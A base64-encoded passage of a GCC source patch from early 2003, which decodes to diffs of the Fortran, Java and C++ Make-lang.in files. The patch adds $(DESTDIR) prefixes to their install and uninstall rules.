KSQobWFuMWRpcikvJChHWFhfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwN CisJICAgIGNobW9kIGEteCAkKERFU1RESVIpJChtYW4xZGlyKS8kKEdYWF9J TlNUQUxMX05BTUUpJChtYW4xZXh0KTsgXA0KIAkgIGZpOyBcDQogCWVsc2Ug dHJ1ZTsgZmkNCiANCiBjKysudW5pbnN0YWxsOg0KLQktcm0gLXJmICQoYmlu ZGlyKS8kKENYWF9JTlNUQUxMX05BTUUpJChleGVleHQpDQotCS1ybSAtcmYg JChiaW5kaXIpLyQoQ1hYX0NST1NTX05BTUUpJChleGVleHQpDQotCS1ybSAt cmYgJChiaW5kaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkNCi0J LXJtIC1yZiAkKGJpbmRpcikvJChHWFhfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkN Ci0JLXJtIC1yZiAkKG1hbjFkaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKG1h bjFleHQpDQotCS1ybSAtcmYgJChtYW4xZGlyKS8kKEdYWF9DUk9TU19OQU1F KSQobWFuMWV4dCkNCisJLXJtIC1yZiAkKERFU1RESVIpJChiaW5kaXIpLyQo Q1hYX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1yZiAkKERFU1RE SVIpJChiaW5kaXIpLyQoQ1hYX0NST1NTX05BTUUpJChleGVleHQpDQorCS1y bSAtcmYgJChERVNURElSKSQoYmluZGlyKS8kKEdYWF9JTlNUQUxMX05BTUUp JChleGVleHQpDQorCS1ybSAtcmYgJChERVNURElSKSQoYmluZGlyKS8kKEdY WF9DUk9TU19OQU1FKSQoZXhlZXh0KQ0KKwktcm0gLXJmICQoREVTVERJUikk KG1hbjFkaXIpLyQoR1hYX0lOU1RBTExfTkFNRSkkKG1hbjFleHQpDQorCS1y bSAtcmYgJChERVNURElSKSQobWFuMWRpcikvJChHWFhfQ1JPU1NfTkFNRSkk KG1hbjFleHQpDQogIwwNCiAjIENsZWFuIGhvb2tzOg0KICMgQSBsb3Qgb2Yg dGhlIGFuY2lsbGFyeSBmaWxlcyBhcmUgZGVsZXRlZCBieSB0aGUgbWFpbiBt YWtlZmlsZS4NCkluZGV4OiBnY2MvZi9NYWtlLWxhbmcuaW4NCj09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvdXNyL2xvY2FsL3NyYy9jdnMv Z2NjLWN2cy9nY2MvZ2NjL2YvTWFrZS1sYW5nLmluLHYNCnJldHJpZXZpbmcg cmV2aXNpb24gMS4xMTMuNC4yDQpkaWZmIC11IC1yMS4xMTMuNC4yIE1ha2Ut bGFuZy5pbg0KLS0tIGdjYy9mL01ha2UtbGFuZy5pbgkxIEphbiAyMDAzIDE1 OjI2OjEyIC0wMDAwCTEuMTEzLjQuMg0KKysrIGdjYy9mL01ha2UtbGFuZy5p bgkxMiBKYW4gMjAwMyAxODo0ODo1OSAtMDAwMA0KQEAgLTI0NiwxMyArMjQ2 LDEzIEBADQogZjc3Lmluc3RhbGwtY29tbW9uOiBpbnN0YWxsZGlycw0KIAkt aWYgWyAtZiBmNzcxJChleGVleHQpIF0gOyB0aGVuIFwNCiAJICBpZiBbIC1m IGc3Ny1jcm9zcyQoZXhlZXh0KSBdIDsgdGhlbiBcDQotCSAgICBybSAtZiAk KGJpbmRpcikvJChHNzdfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAg ICQoSU5TVEFMTF9QUk9HUkFNKSBnNzctY3Jvc3MkKGV4ZWV4dCkgJChiaW5k aXIpLyQoRzc3X0NST1NTX05BTUUpJChleGVleHQpOyBcDQotCSAgICBjaG1v ZCBhK3ggJChiaW5kaXIpLyQoRzc3X0NST1NTX05BTUUpJChleGVleHQpOyBc DQorCSAgICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQoRzc3X0NST1NT X05BTUUpJChleGVleHQpOyBcDQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkg Zzc3LWNyb3NzJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikvJChHNzdf Q1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCisJICAgIGNobW9kIGEreCAkKERF U1RESVIpJChiaW5kaXIpLyQoRzc3X0NST1NTX05BTUUpJChleGVleHQpOyBc DQogCSAgZWxzZSBcDQotCSAgICBybSAtZiAkKGJpbmRpcikvJChHNzdfSU5T VEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dS QU0pIGc3NyQoZXhlZXh0KSAkKGJpbmRpcikvJChHNzdfSU5TVEFMTF9OQU1F KSQoZXhlZXh0KTsgXA0KLQkgICAgY2htb2QgYSt4ICQoYmluZGlyKS8kKEc3 N19JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQorCSAgICBybSAtZiAkKERF U1RESVIpJChiaW5kaXIpLyQoRzc3X0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7 IFwNCisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSBnNzckKGV4ZWV4dCkgJChE RVNURElSKSQoYmluZGlyKS8kKEc3N19JTlNUQUxMX05BTUUpJChleGVleHQp OyBcDQorCSAgICBjaG1vZCBhK3ggJChERVNURElSKSQoYmluZGlyKS8kKEc3 N19JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQogCSAgZmkgOyBcDQogCWVs c2UgdHJ1ZTsgZmkNCiAJQGlmIFsgLWYgZjc3LWluc3RhbGwtb2sgLW8gLWYg JChzcmNkaXIpL2Y3Ny1pbnN0YWxsLW9rIF07IHRoZW4gXA0KQEAgLTI2OSw0 MyArMjY5LDQzIEBADQogIyB0byBkbyB0aGUgaW5zdGFsbC4gIFRoZSBzZWQg cnVsZSB3YXMgY29waWVkIGZyb20gc3RtcC1pbnQtaGRycy4NCiBmNzcuaW5z dGFsbC1pbmZvOiBmNzcuaW5mbyBpbnN0YWxsZGlycw0KIAlpZiBbIC1mICQo c3JjZGlyKS9mL2c3Ny5pbmZvIF0gOyB0aGVuIFwNCi0JICBybSAtZiAkKGlu Zm9kaXIpL2c3Ny5pbmZvKjsgXA0KKwkgIHJtIC1mICQoREVTVERJUikkKGlu Zm9kaXIpL2c3Ny5pbmZvKjsgXA0KIAkgIGZvciBmIGluICQoc3JjZGlyKS9m L2c3Ny5pbmZvKjsgZG8gXA0KIAkgICAgICByZWFsZmlsZT1gZWNobyAkJGYg fCBzZWQgLWUgJ3N8LiovXChbXi9dKlwpJCR8XDF8J2A7IFwNCi0JICAgICAg JChJTlNUQUxMX0RBVEEpICQkZiAkKGluZm9kaXIpLyQkcmVhbGZpbGU7IFwN CisJICAgICAgJChJTlNUQUxMX0RBVEEpICQkZiAkKERFU1RESVIpJChpbmZv ZGlyKS8kJHJlYWxmaWxlOyBcDQogCSAgZG9uZTsgXA0KLQkgIGNobW9kIGEt eCAkKGluZm9kaXIpL2c3Ny5pbmZvKjsgXA0KKwkgIGNobW9kIGEteCAkKERF U1RESVIpJChpbmZvZGlyKS9nNzcuaW5mbyo7IFwNCiAJZWxzZSB0cnVlOyBm aQ0KIAlAaWYgWyAtZiAkKHNyY2RpcikvZi9nNzcuaW5mbyBdIDsgdGhlbiBc DQogCSAgaWYgJChTSEVMTCkgLWMgJ2luc3RhbGwtaW5mbyAtLXZlcnNpb24g fCBzZWQgMXEgfCBmZ3JlcCAtcyAtdiAtaSBkZWJpYW4nID4vZGV2L251bGwg Mj4mMTsgdGhlbiBcDQotCSAgICBlY2hvICIgaW5zdGFsbC1pbmZvIC0taW5m by1kaXI9JChpbmZvZGlyKSAkKGluZm9kaXIpL2c3Ny5pbmZvIjsgXA0KLQkg ICAgaW5zdGFsbC1pbmZvIC0taW5mby1kaXI9JChpbmZvZGlyKSAkKGluZm9k aXIpL2c3Ny5pbmZvIHx8IDogOyBcDQorCSAgICBlY2hvICIgaW5zdGFsbC1p bmZvIC0taW5mby1kaXI9JChERVNURElSKSQoaW5mb2RpcikgJChERVNURElS KSQoaW5mb2RpcikvZzc3LmluZm8iOyBcDQorCSAgICBpbnN0YWxsLWluZm8g LS1pbmZvLWRpcj0kKERFU1RESVIpJChpbmZvZGlyKSAkKERFU1RESVIpJChp bmZvZGlyKS9nNzcuaW5mbyB8fCA6IDsgXA0KIAkgIGVsc2UgOiA7IGZpOyBc DQogCWVsc2UgOiA7IGZpDQogDQogZjc3Lmluc3RhbGwtbWFuOiAkKEdFTkVS QVRFRF9NQU5QQUdFUykgaW5zdGFsbGRpcnMNCiAJLWlmIFsgLWYgZjc3MSQo ZXhlZXh0KSBdIDsgdGhlbiBcDQogCSAgaWYgWyAtZiBnNzctY3Jvc3MkKGV4 ZWV4dCkgXSA7IHRoZW4gXA0KLQkgICAgcm0gLWYgJChtYW4xZGlyKS8kKEc3 N19DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9E QVRBKSAkKHNyY2RpcikvZi9nNzcuMSAkKG1hbjFkaXIpLyQoRzc3X0NST1NT X05BTUUpJChtYW4xZXh0KTsgXA0KLQkgICAgY2htb2QgYS14ICQobWFuMWRp cikvJChHNzdfQ1JPU1NfTkFNRSkkKG1hbjFleHQpOyBcDQorCSAgICBybSAt ZiAkKERFU1RESVIpJChtYW4xZGlyKS8kKEc3N19DUk9TU19OQU1FKSQobWFu MWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvZi9n NzcuMSAkKERFU1RESVIpJChtYW4xZGlyKS8kKEc3N19DUk9TU19OQU1FKSQo bWFuMWV4dCk7IFwNCisJICAgIGNobW9kIGEteCAkKERFU1RESVIpJChtYW4x ZGlyKS8kKEc3N19DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCiAJICBlbHNl IFwNCi0JICAgIHJtIC1mICQobWFuMWRpcikvJChHNzdfSU5TVEFMTF9OQU1F KSQobWFuMWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9EQVRBKSAkKHNyY2Rp cikvZi9nNzcuMSAkKG1hbjFkaXIpLyQoRzc3X0lOU1RBTExfTkFNRSkkKG1h bjFleHQpOyBcDQotCSAgICBjaG1vZCBhLXggJChtYW4xZGlyKS8kKEc3N19J TlNUQUxMX05BTUUpJChtYW4xZXh0KTsgXA0KKwkgICAgcm0gLWYgJChERVNU RElSKSQobWFuMWRpcikvJChHNzdfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7 IFwNCisJICAgICQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvZi9nNzcuMSAk KERFU1RESVIpJChtYW4xZGlyKS8kKEc3N19JTlNUQUxMX05BTUUpJChtYW4x ZXh0KTsgXA0KKwkgICAgY2htb2QgYS14ICQoREVTVERJUikkKG1hbjFkaXIp LyQoRzc3X0lOU1RBTExfTkFNRSkkKG1hbjFleHQpOyBcDQogCSAgZmk7IFwN CiAJZWxzZSB0cnVlOyBmaQ0KIA0KIGY3Ny51bmluc3RhbGw6IGluc3RhbGxk aXJzDQogCWlmICQoU0hFTEwpIC1jICdpbnN0YWxsLWluZm8gLS12ZXJzaW9u IHwgc2VkIDFxIHwgZmdyZXAgLXMgLXYgLWkgZGViaWFuJyA+L2Rldi9udWxs IDI+JjE7IHRoZW4gXA0KLQkgIGVjaG8gIiBpbnN0YWxsLWluZm8gLS1kZWxl dGUgLS1pbmZvLWRpcj0kKGluZm9kaXIpICQoaW5mb2RpcikvZzc3LmluZm8i OyBcDQotCSAgaW5zdGFsbC1pbmZvIC0tZGVsZXRlIC0taW5mby1kaXI9JChp bmZvZGlyKSAkKGluZm9kaXIpL2c3Ny5pbmZvIHx8IDogOyBcDQorCSAgZWNo byAiIGluc3RhbGwtaW5mbyAtLWRlbGV0ZSAtLWluZm8tZGlyPSQoREVTVERJ UikkKGluZm9kaXIpICQoREVTVERJUikkKGluZm9kaXIpL2c3Ny5pbmZvIjsg XA0KKwkgIGluc3RhbGwtaW5mbyAtLWRlbGV0ZSAtLWluZm8tZGlyPSQoREVT VERJUikkKGluZm9kaXIpICQoREVTVERJUikkKGluZm9kaXIpL2c3Ny5pbmZv IHx8IDogOyBcDQogCWVsc2UgOiA7IGZpDQotCXJtIC1yZiAkKGJpbmRpcikv JChHNzdfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KLQlybSAtcmYgJChi aW5kaXIpLyQoRzc3X0NST1NTX05BTUUpJChleGVleHQpOyBcDQotCXJtIC1y ZiAkKG1hbjFkaXIpLyQoRzc3X0lOU1RBTExfTkFNRSkkKG1hbjFleHQpOyBc DQotCXJtIC1yZiAkKG1hbjFkaXIpLyQoRzc3X0NST1NTX05BTUUpJChtYW4x ZXh0KTsgXA0KLQlybSAtcmYgJChpbmZvZGlyKS9nNzcuaW5mbyoNCisJcm0g LXJmICQoREVTVERJUikkKGJpbmRpcikvJChHNzdfSU5TVEFMTF9OQU1FKSQo ZXhlZXh0KTsgXA0KKwlybSAtcmYgJChERVNURElSKSQoYmluZGlyKS8kKEc3 N19DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0KKwlybSAtcmYgJChERVNURElS KSQobWFuMWRpcikvJChHNzdfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwN CisJcm0gLXJmICQoREVTVERJUikkKG1hbjFkaXIpLyQoRzc3X0NST1NTX05B TUUpJChtYW4xZXh0KTsgXA0KKwlybSAtcmYgJChERVNURElSKSQoaW5mb2Rp cikvZzc3LmluZm8qDQogIwwNCiAjIENsZWFuIGhvb2tzOg0KICMgQSBsb3Qg b2YgdGhlIGFuY2lsbGFyeSBmaWxlcyBhcmUgZGVsZXRlZCBieSB0aGUgbWFp biBtYWtlZmlsZS4NCkluZGV4OiBnY2MvamF2YS9NYWtlLWxhbmcuaW4NCj09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvdXNyL2xvY2FsL3Ny Yy9jdnMvZ2NjLWN2cy9nY2MvZ2NjL2phdmEvTWFrZS1sYW5nLmluLHYNCnJl dHJpZXZpbmcgcmV2aXNpb24gMS45MS4xMi4yDQpkaWZmIC11IC1yMS45MS4x Mi4yIE1ha2UtbGFuZy5pbg0KLS0tIGdjYy9qYXZhL01ha2UtbGFuZy5pbgkz MSBEZWMgMjAwMiAwMToxNzo0MyAtMDAwMAkxLjkxLjEyLjINCisrKyBnY2Mv amF2YS9NYWtlLWxhbmcuaW4JMTIgSmFuIDIwMDMgMTg6NDg6NTkgLTAwMDAN CkBAIC0xNzAsNTMgKzE3MCw1NCBAQA0KIGphdmEuaW5zdGFsbC1jb21tb246 IGluc3RhbGxkaXJzDQogCS1pZiBbIC1mICQoR0NKKSQoZXhlZXh0KSBdOyB0 aGVuIFwNCiAJICBpZiBbIC1mICQoR0NKKS1jcm9zcyQoZXhlZXh0KSBdOyB0 aGVuIFwNCi0JICAgIHJtIC1mICQoYmluZGlyKS8kKEpBVkFfQ1JPU1NfTkFN RSkkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9QUk9HUkFNKSAkKEdD SiktY3Jvc3MkKGV4ZWV4dCkgJChiaW5kaXIpLyQoSkFWQV9DUk9TU19OQU1F KSQoZXhlZXh0KTsgXA0KLQkgICAgY2htb2QgYSt4ICQoYmluZGlyKS8kKEpB VkFfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCisJICAgIHJtIC1mICQoREVT VERJUikkKGJpbmRpcikvJChKQVZBX0NST1NTX05BTUUpJChleGVleHQpOyBc DQorCSAgICAkKElOU1RBTExfUFJPR1JBTSkgJChHQ0opLWNyb3NzJChleGVl eHQpICQoREVTVERJUikkKGJpbmRpcikvJChKQVZBX0NST1NTX05BTUUpJChl eGVleHQpOyBcDQorCSAgICBjaG1vZCBhK3ggJChERVNURElSKSQoYmluZGly KS8kKEpBVkFfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCiAJICBlbHNlIFwN Ci0JICAgIHJtIC1mICQoYmluZGlyKS8kKEpBVkFfSU5TVEFMTF9OQU1FKSQo ZXhlZXh0KTsgXA0KLQkgICAgJChJTlNUQUxMX1BST0dSQU0pICQoR0NKKSQo ZXhlZXh0KSAkKGJpbmRpcikvJChKQVZBX0lOU1RBTExfTkFNRSkkKGV4ZWV4 dCk7IFwNCi0JICAgIGNobW9kIGEreCAkKGJpbmRpcikvJChKQVZBX0lOU1RB TExfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAgIHJtIC1mICQoYmluZGlyKS8k KEpBVkFfVEFSR0VUX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAg ICQoTE4pICQoYmluZGlyKS8kKEpBVkFfSU5TVEFMTF9OQU1FKSQoZXhlZXh0 KSAkKGJpbmRpcikvJChKQVZBX1RBUkdFVF9JTlNUQUxMX05BTUUpJChleGVl eHQpOyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIpLyQoSkFW QV9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQorCSAgICAkKElOU1RBTExf UFJPR1JBTSkgJChHQ0opJChleGVleHQpICQoREVTVERJUikkKGJpbmRpcikv JChKQVZBX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCisJICAgIGNobW9k IGEreCAkKERFU1RESVIpJChiaW5kaXIpLyQoSkFWQV9JTlNUQUxMX05BTUUp JChleGVleHQpOyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChiaW5kaXIp LyQoSkFWQV9UQVJHRVRfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkg ICAgKCBjZCAkKERFU1RESVIpJChiaW5kaXIpICYmIFwNCisJICAgICAgJChM TikgJChKQVZBX0lOU1RBTExfTkFNRSkkKGV4ZWV4dCkgJChKQVZBX1RBUkdF VF9JTlNUQUxMX05BTUUpJChleGVleHQpICk7IFwNCiAJICBmaSA7IFwNCiAJ ZmkgOyBcDQogICAgICAgICBmb3IgdG9vbCBpbiAkKEpBVkFfVEFSR0VUX0lO REVQRU5ERU5UX0JJTl9UT09MUyk7IGRvIFwNCiAJICB0b29sX3RyYW5zZm9y bWVkX25hbWU9YGVjaG8gJCR0b29sfHNlZCAnJChwcm9ncmFtX3RyYW5zZm9y bV9uYW1lKSdgOyBcDQogICAgICAgICAgIGlmIFsgLWYgJCR0b29sJChleGVl eHQpIF07IHRoZW4gXA0KLQkgICAgcm0gLWYgJChiaW5kaXIpLyQkdG9vbF90 cmFuc2Zvcm1lZF9uYW1lJChleGVleHQpOyBcDQotCSAgICAkKElOU1RBTExf UFJPR1JBTSkgJCR0b29sJChleGVleHQpICQoYmluZGlyKS8kJHRvb2xfdHJh bnNmb3JtZWRfbmFtZSQoZXhlZXh0KTsgXA0KLQkgICAgY2htb2QgYSt4ICQo YmluZGlyKS8kJHRvb2xfdHJhbnNmb3JtZWRfbmFtZSQoZXhlZXh0KTsgXA0K KwkgICAgcm0gLWYgJChERVNURElSKSQoYmluZGlyKS8kJHRvb2xfdHJhbnNm b3JtZWRfbmFtZSQoZXhlZXh0KTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dS QU0pICQkdG9vbCQoZXhlZXh0KSAkKERFU1RESVIpJChiaW5kaXIpLyQkdG9v bF90cmFuc2Zvcm1lZF9uYW1lJChleGVleHQpOyBcDQorCSAgICBjaG1vZCBh K3ggJChERVNURElSKSQoYmluZGlyKS8kJHRvb2xfdHJhbnNmb3JtZWRfbmFt ZSQoZXhlZXh0KTsgXA0KICAgICAgICAgICBmaSA7IFwNCiAgICAgICAgZG9u ZQ0KIA0KIGphdmEuaW5zdGFsbC1tYW46DQogDQogamF2YS51bmluc3RhbGw6 DQotCS1ybSAtcmYgJChiaW5kaXIpLyQoSkFWQV9JTlNUQUxMX05BTUUpJChl eGVleHQpDQotCS1ybSAtcmYgJChiaW5kaXIpLyQoSkFWQV9DUk9TU19OQU1F KSQoZXhlZXh0KQ0KLQktcm0gLXJmICQobWFuMWRpcikvJChKQVZBX0lOU1RB TExfTkFNRSkkKG1hbjFleHQpDQotCS1ybSAtcmYgJChtYW4xZGlyKS8kKEpB VkFfQ1JPU1NfTkFNRSkkKG1hbjFleHQpDQotCS1ybSAtcmYgJChtYW4xZGly KS9nY2poJChtYW4xZXh0KQ0KLQktcm0gLXJmICQobWFuMWRpcikvanYtc2Nh biQobWFuMWV4dCkNCi0JLXJtIC1yZiAkKG1hbjFkaXIpL2pjZi1kdW1wJCht YW4xZXh0KQ0KLQktcm0gLXJmICQobWFuMWRpcikvZ2lqJChtYW4xZXh0KQ0K LQktcm0gLXJmICQobWFuMWRpcikvanYtY29udmVydCQobWFuMWV4dCkNCisJ LXJtIC1yZiAkKERFU1RESVIpJChiaW5kaXIpLyQoSkFWQV9JTlNUQUxMX05B TUUpJChleGVleHQpDQorCS1ybSAtcmYgJChERVNURElSKSQoYmluZGlyKS8k KEpBVkFfQ1JPU1NfTkFNRSkkKGV4ZWV4dCkNCisJLXJtIC1yZiAkKERFU1RE SVIpJChtYW4xZGlyKS8kKEpBVkFfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCkN CisJLXJtIC1yZiAkKERFU1RESVIpJChtYW4xZGlyKS8kKEpBVkFfQ1JPU1Nf TkFNRSkkKG1hbjFleHQpDQorCS1ybSAtcmYgJChERVNURElSKSQobWFuMWRp cikvZ2NqaCQobWFuMWV4dCkNCisJLXJtIC1yZiAkKERFU1RESVIpJChtYW4x ZGlyKS9qdi1zY2FuJChtYW4xZXh0KQ0KKwktcm0gLXJmICQoREVTVERJUikk KG1hbjFkaXIpL2pjZi1kdW1wJChtYW4xZXh0KQ0KKwktcm0gLXJmICQoREVT VERJUikkKG1hbjFkaXIpL2dpaiQobWFuMWV4dCkNCisJLXJtIC1yZiAkKERF U1RESVIpJChtYW4xZGlyKS9qdi1jb252ZXJ0JChtYW4xZXh0KQ0KIA0KIGph dmEuaW5zdGFsbC1pbmZvOiBpbnN0YWxsZGlycw0KIAlpZiBbIC1mIGpjMSQo ZXhlZXh0KSBdIDsgdGhlbiBcDQogCSAgaWYgWyAtZiAkKHNyY2RpcikvamF2 YS9nY2ouaW5mbyBdOyB0aGVuIFwNCi0JICAgIHJtIC1mICQoaW5mb2Rpcikv Z2NqLmluZm8qOyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChpbmZvZGly KS9nY2ouaW5mbyo7IFwNCiAJICAgIGZvciBmIGluICQoc3JjZGlyKS9qYXZh L2djai5pbmZvKjsgZG8gXA0KIAkgICAgICByZWFsZmlsZT1gZWNobyAkJGYg fCBzZWQgLWUgJ3N8LiovXChbXi9dKlwpJCR8XDF8J2A7IFwNCi0JICAgICAg JChJTlNUQUxMX0RBVEEpICQkZiAkKGluZm9kaXIpLyQkcmVhbGZpbGU7IFwN CisJICAgICAgJChJTlNUQUxMX0RBVEEpICQkZiAkKERFU1RESVIpJChpbmZv ZGlyKS8kJHJlYWxmaWxlOyBcDQogCSAgICBkb25lOyBcDQotCSAgICBjaG1v ZCBhLXggJChpbmZvZGlyKS9nY2ouaW5mbyo7IFwNCisJICAgIGNobW9kIGEt eCAkKERFU1RESVIpJChpbmZvZGlyKS9nY2ouaW5mbyo7IFwNCiAJICBlbHNl IHRydWU7IGZpOyBcDQogCWVsc2UgdHJ1ZTsgZmkNCi0JLWlmIFsgLWYgamMx JChleGVleHQpIF0gJiYgWyAtZiAkKGluZm9kaXIpL2djai5pbmZvIF07IHRo ZW4gXA0KKwktaWYgWyAtZiBqYzEkKGV4ZWV4dCkgXSAmJiBbIC1mICQoREVT VERJUikkKGluZm9kaXIpL2djai5pbmZvIF07IHRoZW4gXA0KIAkgIGlmICQo U0hFTEwpIC1jICdpbnN0YWxsLWluZm8gLS12ZXJzaW9uJyA+L2Rldi9udWxs IDI+JjE7IHRoZW4gXA0KLQkgICAgaW5zdGFsbC1pbmZvIC0tZGlyLWZpbGU9 JChpbmZvZGlyKS9kaXIgJChpbmZvZGlyKS9nY2ouaW5mbzsgXA0KKwkgICAg aW5zdGFsbC1pbmZvIC0tZGlyLWZpbGU9JChERVNURElSKSQoaW5mb2Rpcikv ZGlyICQoREVTVERJUikkKGluZm9kaXIpL2djai5pbmZvOyBcDQogCSAgZWxz ZSB0cnVlOyBmaTsgXA0KIAllbHNlIHRydWU7IGZpDQogDQpAQCAtNDA4LDMz ICs0MDksMzMgQEANCiBqYXZhLmluc3RhbGwtbWFuOiBpbnN0YWxsZGlycyAk KEdFTkVSQVRFRF9KQVZBX01BTlBBR0VTKQ0KIAktaWYgWyAtZiAkKEdDSikk KGV4ZWV4dCkgXTsgdGhlbiBcDQogCSAgaWYgWyAtZiAkKEdDSiktY3Jvc3Mk KGV4ZWV4dCkgXTsgdGhlbiBcDQotCSAgICBybSAtZiAkKG1hbjFkaXIpLyQo SkFWQV9DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCi0JICAgICQoSU5TVEFM TF9EQVRBKSAkKHNyY2RpcikvamF2YS9nY2ouMSAkKG1hbjFkaXIpLyQoSkFW QV9DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCi0JICAgIGNobW9kIGEteCAk KG1hbjFkaXIpLyQoSkFWQV9DUk9TU19OQU1FKSQobWFuMWV4dCk7IFwNCisJ ICAgIHJtIC1mICQoREVTVERJUikkKG1hbjFkaXIpLyQoSkFWQV9DUk9TU19O QU1FKSQobWFuMWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9EQVRBKSAkKHNy Y2RpcikvamF2YS9nY2ouMSAkKERFU1RESVIpJChtYW4xZGlyKS8kKEpBVkFf Q1JPU1NfTkFNRSkkKG1hbjFleHQpOyBcDQorCSAgICBjaG1vZCBhLXggJChE RVNURElSKSQobWFuMWRpcikvJChKQVZBX0NST1NTX05BTUUpJChtYW4xZXh0 KTsgXA0KIAkgIGVsc2UgXA0KLQkgICAgcm0gLWYgJChtYW4xZGlyKS8kKEpB VkFfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCi0JICAgICQoSU5TVEFM TF9EQVRBKSAkKHNyY2RpcikvamF2YS9nY2ouMSAkKG1hbjFkaXIpLyQoSkFW QV9JTlNUQUxMX05BTUUpJChtYW4xZXh0KTsgXA0KLQkgICAgY2htb2QgYS14 ICQobWFuMWRpcikvJChKQVZBX0lOU1RBTExfTkFNRSkkKG1hbjFleHQpOyBc DQorCSAgICBybSAtZiAkKERFU1RESVIpJChtYW4xZGlyKS8kKEpBVkFfSU5T VEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCisJICAgICQoSU5TVEFMTF9EQVRB KSAkKHNyY2RpcikvamF2YS9nY2ouMSAkKERFU1RESVIpJChtYW4xZGlyKS8k KEpBVkFfSU5TVEFMTF9OQU1FKSQobWFuMWV4dCk7IFwNCisJICAgIGNobW9k IGEteCAkKERFU1RESVIpJChtYW4xZGlyKS8kKEpBVkFfSU5TVEFMTF9OQU1F KSQobWFuMWV4dCk7IFwNCiAJICBmaSA7IFwNCiAJZmkNCi0JLXJtIC1mICQo bWFuMWRpcikvZ2NqaCQobWFuMWV4dCkNCi0JLSQoSU5TVEFMTF9EQVRBKSAk KHNyY2RpcikvamF2YS9nY2poLjEgJChtYW4xZGlyKS9nY2poJChtYW4xZXh0 KQ0KLQktY2htb2QgYS14ICQobWFuMWRpcikvZ2NqaCQobWFuMWV4dCkNCi0J LXJtIC1mICQobWFuMWRpcikvanYtc2NhbiQobWFuMWV4dCkNCi0JLSQoSU5T VEFMTF9EQVRBKSAkKHNyY2RpcikvamF2YS9qdi1zY2FuLjEgJChtYW4xZGly KS9qdi1zY2FuJChtYW4xZXh0KQ0KLQktY2htb2QgYS14ICQobWFuMWRpcikv anYtc2NhbiQobWFuMWV4dCkNCi0JLXJtIC1mICQobWFuMWRpcikvamNmLWR1 bXAkKG1hbjFleHQpDQotCS0kKElOU1RBTExfREFUQSkgJChzcmNkaXIpL2ph dmEvamNmLWR1bXAuMSAkKG1hbjFkaXIpL2pjZi1kdW1wJChtYW4xZXh0KQ0K LQktY2htb2QgYS14ICQobWFuMWRpcikvamNmLWR1bXAkKG1hbjFleHQpDQot CS1ybSAtZiAkKG1hbjFkaXIpL2dpaiQobWFuMWV4dCkNCi0JLSQoSU5TVEFM TF9EQVRBKSAkKHNyY2RpcikvamF2YS9naWouMSAkKG1hbjFkaXIpL2dpaiQo bWFuMWV4dCkNCi0JLWNobW9kIGEteCAkKG1hbjFkaXIpL2dpaiQobWFuMWV4 dCkNCi0JLXJtIC1mICQobWFuMWRpcikvanYtY29udmVydCQobWFuMWV4dCkN Ci0JLSQoSU5TVEFMTF9EQVRBKSAkKHNyY2RpcikvamF2YS9qdi1jb252ZXJ0 LjEgJChtYW4xZGlyKS9qdi1jb252ZXJ0JChtYW4xZXh0KQ0KLQktY2htb2Qg YS14ICQobWFuMWRpcikvanYtY29udmVydCQobWFuMWV4dCkNCi0JLXJtIC1m ICQobWFuMWRpcikvcm1pYyQobWFuMWV4dCkNCi0JLSQoSU5TVEFMTF9EQVRB KSAkKHNyY2RpcikvamF2YS9ybWljLjEgJChtYW4xZGlyKS9ybWljJChtYW4x ZXh0KQ0KLQktY2htb2QgYS14ICQobWFuMWRpcikvcm1pYyQobWFuMWV4dCkN Ci0JLXJtIC1mICQobWFuMWRpcikvcm1pcmVnaXN0cnkkKG1hbjFleHQpDQot CS0kKElOU1RBTExfREFUQSkgJChzcmNkaXIpL2phdmEvcm1pcmVnaXN0cnku 